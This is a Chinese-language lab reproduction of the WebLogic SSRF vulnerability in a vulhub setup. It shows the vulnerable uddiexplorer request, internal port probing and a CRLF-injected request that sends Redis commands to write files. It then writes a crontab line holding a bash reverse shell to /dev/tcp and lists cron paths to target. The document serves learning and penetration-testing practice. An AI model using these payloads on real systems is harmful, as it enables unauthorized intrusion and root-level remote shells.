環境
vulhub
Weblogic SSRF漏洞
復現
SSRF漏洞存在於Weblogic服務的
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
訪問內網中存在和不存在的端口會導致回顯不同,利用其差異就可進行內網探測
節省時間,就自己到docker里去查看了一下ip
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.23.0.2:6379
Weblogic的SSRF有一個比較大的特點,其雖然是一個“GET”請求,但是我們可以通過傳入%0a%0d來注入換行符,而某些服務(如redis)是通過換行符來分隔每條命令,也就說我們可以通過該SSRF攻擊內網中的redis服務器
先測試一下,寫幾條redis命令,url編碼后通過SSRF操作內網的redis
(在線編碼工具:https://www.urlencoder.org/)
這幾條命令的意思就是向根目錄寫入test文件,內容為hello
(注意每條命令必須是%0d%0a分割,測試過只用%0a不成功,而且最后一條命令后面需要再隨機加一行文本)
http://192.168.5.11:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.23.0.2:6379/%0d%0a%0d%0aset%201%20%22hello%22%0D%0Aconfig%20set%20dir%20%2F%0D%0Aconfig%20set%20dbfilename%20test%0D%0Asave%0d%0axxx
類似的,寫入crontab定時任務就可反彈shell
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/xx.xx.xx.xx/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
可利用的cron有如下
- /etc/crontab 這個是肯定的
- /etc/cron.d/* 將任意文件寫到該目錄下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用這個目錄,可以做到不覆蓋任何其他文件的情況進行彈shell。
- /var/spool/cron/root centos系統下root用戶的cron文件
- /var/spool/cron/crontabs/root debian系統下root用戶的cron文件
參考:
Weblogic SSRF漏洞
《Web安全攻防 滲透測試實戰指南》